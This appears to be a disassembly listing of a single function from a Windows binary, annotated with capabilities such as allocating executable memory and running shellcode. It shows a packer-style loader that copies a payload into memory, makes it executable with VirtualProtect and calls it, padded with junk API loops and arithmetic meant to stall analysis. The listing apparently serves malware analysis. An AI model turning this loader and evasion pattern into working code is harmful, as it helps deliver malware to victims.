Function at 0x4033a0
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x4344ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x1830
call fcn.00413a90
push ebx
push ebp
push esi
xor esi, esi
cmp dword [0x4a25fc], 0xac
push edi
jne 0x403496
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
mov dword [esp + 0xec], 0xf
mov dword [esp + 0xe8], esi
mov byte [esp + 0xd8], 0
push esi
mov dword [esp + 0x1880], esi
call fcn.00404582
add esp, 4
push esi
push esi
call fcn.0040482d
add esp, 8
lea ecx, [esp + 0x5c]
call fcn.004045b6
lea ecx, [esp + 0x5c]
call fcn.00404694
push 1
push 0x437640
lea ecx, [esp + 0x64]
call fcn.0040461a
lea ecx, [esp + 0x5c]
mov dword [esp + 0x5c], 0x402db8
call fcn.00404694
push esi
call fcn.00404954
push ecx
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004049bb
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
sub esp, 8
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404720
fstp st(0)
add esp, 0x10
push esi
call fcn.00404d15
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthI]
lea esp, [esp]
cmp esi, 0xd2ac
jge 0x4034b7
push 0
lea eax, [esp + 0x4c]
push eax
push 0
push 0
push 0
call edi
inc esi
cmp esi, 0x13975
jl 0x4034a0
add dword [0x4a25fc], 0x11b1b
call fcn.00403380
mov edx, dword [0x4a25fc]
mov eax, dword [0x49f508]
lea ecx, [esp + 0x68]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp dword [0x4a25fc], edi
jbe 0x4035a2
mov ebx, dword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
mov ebp, dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea esp, [esp]
mov ecx, dword [0x4a2f9c]
mov dl, byte [ecx + edi + 0x11b1b]
mov eax, dword [0x49f508]
mov byte [eax + edi], dl
cmp dword [0x4a25fc], 0xa8
jne 0x403595
push 0
call ebx
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [esp + 0x328]
push ecx
call esi
lea edx, [esp + 0x108]
push edx
call esi
push 0
push 0
lea eax, [esp + 0x58]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
xor ecx, ecx
xor edx, edx
mov word [esp + 0x4a], dx
lea eax, [esp + 0x54]
push eax
mov word [esp + 0x4c], cx
mov ecx, dword [esp + 0x4c]
push ecx
lea edx, [esp + 0x64]
push edx
lea eax, [esp + 0xb8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
inc edi
cmp edi, dword [0x4a25fc]
jb 0x403510
mov esi, dword [esp + 0x50]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
mov dword [esp + 0x4c], eax
mov ecx, dword [0x4a25fc]
add ecx, eax
cmp ecx, 0xe
jne 0x403675
call edi
lea edx, [esp + 0x50]
push edx
call ebp
call ebx
xor eax, eax
xor ecx, ecx
mov word [esp + 0x4a], cx
lea edx, [esp + 0x54]
push edx
mov word [esp + 0x4c], ax
mov eax, dword [esp + 0x4c]
push eax
lea ecx, [esp + 0xb4]
push ecx
lea edx, [esp + 0xd8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferA]
push 0
lea eax, [esp + 0x844]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
lea ecx, [esp + 0x108]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push 0x30
lea edx, [esp + 0xdc]
push 0
push edx
mov dword [esp + 0xe0], 0
call fcn.00408080
add esp, 0xc
push esi
lea eax, [esp + 0xd8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
push 0
lea ecx, [esp + 0x60]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esp + 0x4c]
inc eax
cmp eax, 0x4f95a3
mov dword [esp + 0x4c], eax
jl 0x4035be
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov esi, 0x4f4
push 0
push 0
push 0
push 0
call edi
sub esi, 1
jne 0x403690
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
cmp esi, 0x3ba47de
jge 0x403b5d
mov dword [esp + 0xac], 0x59bffff0
mov dword [esp + 0xcc], 0x56ee9d45
mov dword [esp + 0xa0], 0x72593879
mov dword [esp + 0xa4], 0x35ea1f87
mov dword [esp + 0xb8], 0x1a4d8bd1
mov dword [esp + 0xa8], 0x209dfb6d
mov dword [esp + 0x7c], 0x4fe4c0c4
mov dword [esp + 0x9c], 0x3398f0ec
mov dword [esp + 0x98], 0x25364ad0
mov dword [esp + 0x6c], 0x7cd73049
mov dword [esp + 0x48], 0x69804d46
mov dword [esp + 0x80], 0x41481158
mov dword [esp + 0xc8], 0x3711a9eb
mov dword [esp + 0x84], 0x75e9eb6d
mov dword [esp + 0xbc], 0x1261b678
mov dword [esp + 0x94], 0x77032db7
mov dword [esp + 0x4c], 0x3f5126aa
mov dword [esp + 0x74], 0x3dd7f1d6
mov dword [esp + 0x90], 0x7405b229
mov dword [esp + 0x70], 0x7e7683b4
mov dword [esp + 0x88], 0x2c17efe5
mov dword [esp + 0x5c], 0x39aa62a7
mov dword [esp + 0xb4], 0x57123d33
mov dword [esp + 0x50], 0x3d162f65
mov dword [esp + 0x58], 0x3fa04047
mov dword [esp + 0x54], 0x18004575
mov dword [esp + 0x78], 0x15786633
mov dword [esp + 0xc0], 0x29d1bd91
mov dword [esp + 0x8c], 0x706f0e9e
mov dword [esp + 0xc4], 0x6bea4427
mov eax, 0x2dc4bf86
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
mov eax, 0x371b91d4
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
sub dword [esp + 0xac], 0x5e5e6504
add dword [esp + 0xac], 0x210ab044
mov eax, 0x23eb4f58
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
add dword [esp + 0xac], 0x46d6a951
mov eax, 0x1d8d9657
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
add dword [esp + 0xac], 0x6f4bf86f
sub dword [esp + 0xac], 0x3d11959a
add dword [esp + 0xac], 0x2c30e20
mov eax, 0x34055cf9
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
sub dword [esp + 0xac], 0x795fd520
sub dword [esp + 0xac], 0x68b1efa3
mov eax, 0x766ccec1
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
add dword [esp + 0xcc], 0x4cf7a328
sub dword [esp + 0xac], 0x6f113e84
sub dword [esp + 0xa0], 0x4167694e
sub dword [esp + 0xa0], 0x112bc91
add dword [esp + 0xcc], 0x6a3bcebb
sub dword [esp + 0xa0], 0x73ba4fa5
mov eax, 0x771e8ba
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
mov eax, 0xabcc22c
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
mov eax, 0x7d688e3a
mul dword [esp + 0xcc]
mov eax, dword [esp + 0xcc]
sub dword [esp + 0xb8], 0x41c1cdfa
sub dword [esp + 0x7c], 0x57386d89
sub dword [esp + 0xcc], 0x9958ce0
mov eax, 0x4abe4fd0
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
add dword [esp + 0xa0], 0x1593fe4e
sub dword [esp + 0x7c], 0x45e5e066
add dword [esp + 0x48], 0x657103fa
sub dword [esp + 0xa0], 0x5c56a193
mov eax, 0x412babf2
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov eax, 0xceaa60d
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
sub dword [esp + 0xb8], 0x6c1f2a33
mov eax, 0x28c4bced
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
add dword [esp + 0xb8], 0x3adf2f11
add dword [esp + 0x6c], 0x43b50d75
add dword [esp + 0xa8], 0x368fa24b
add dword [esp + 0x98], 0x35b350fd
sub dword [esp + 0xbc], 0x4c905f80
sub dword [esp + 0xbc], 0x10f52070
add dword [esp + 0x48], 0x5638054d
add dword [esp + 0x98], 0x505b42f
sub dword [esp + 0xbc], 0x47d53072
sub dword [esp + 0xac], 0x3468b875
add dword [esp + 0x84], 0x1fb7f4f2
mov eax, 0x331f07c6
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
mov eax, 0x4ae2af14
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
add dword [esp + 0xa4], 0x1ed44eb4
add dword [esp + 0xbc], 0x7a18bcac
mov eax, 0x6833226e
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
add dword [esp + 0x84], 0x57b646b
mov eax, 0x5af2fe4a
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
sub dword [esp + 0xac], 0x4640325a
sub dword [esp + 0x48], 0x5b28a8dc
add dword [esp + 0x90], 0x47777d25
mov eax, 0x593562b3
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
mov eax, 0x470a1efe
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
add dword [esp + 0xac], 0x191a169a
mov eax, 0x33893a71
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
sub dword [esp + 0x58], 0x3ec95617
mov eax, 0x73a702dd
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
sub dword [esp + 0x6c], 0x393f82c0
add dword [esp + 0x84], 0x7e6d0fd1
add dword [esp + 0x5c], 0x4a144385
add dword [esp + 0xbc], 0xb09be96
add dword [esp + 0x94], 0x185a4a00
add dword [esp + 0x80], 0x5d9873c8
mov eax, 0x53005cb5
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
mov eax, 0x48ccb41e
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
cmp esi, 0xbfa539
jg 0x403b72
inc esi
cmp esi, 0x19ce67f8
jl 0x4036a5
call fcn.00403250
xor edx, edx
lea esp, [esp]
cmp edx, 0x26
jne 0x403b8a
call fcn.00403360
inc edx
cmp edx, 0x409495
jl 0x403b80
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
mov ebp, 0x7b
lea ebx, [ebx]
cmp dword [0x4a25fc], 0x86
jne 0x403bcc
push 0
call esi
push 0
call edi
push 0
push 0
push 0
call ebx
sub ebp, 1
jne 0x403bb0
mov esi, dword [sym.imp.KERNEL32.dll_HeapSize]
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [esp + 0x4c], 0x180ef
cmp dword [0x4a25fc], 0x1f
jne 0x403c3d
push 0
push 0
push 0
call esi
push 0
lea edx, [esp + 0x5c]
push edx
push 0
lea eax, [esp + 0x44c]
push eax
push 0
call edi
push 0
lea ecx, [esp + 0x1044]
push ecx
call ebx
push 0
push 0
push 0
call ebp
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileIntA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
sub dword [esp + 0x4c], 1
jne 0x403bf1
push 0x402da8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x49f508]
mov dword [0x49f50c], eax
call eax
mov ecx, dword [esp + 0x1874]
pop edi
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret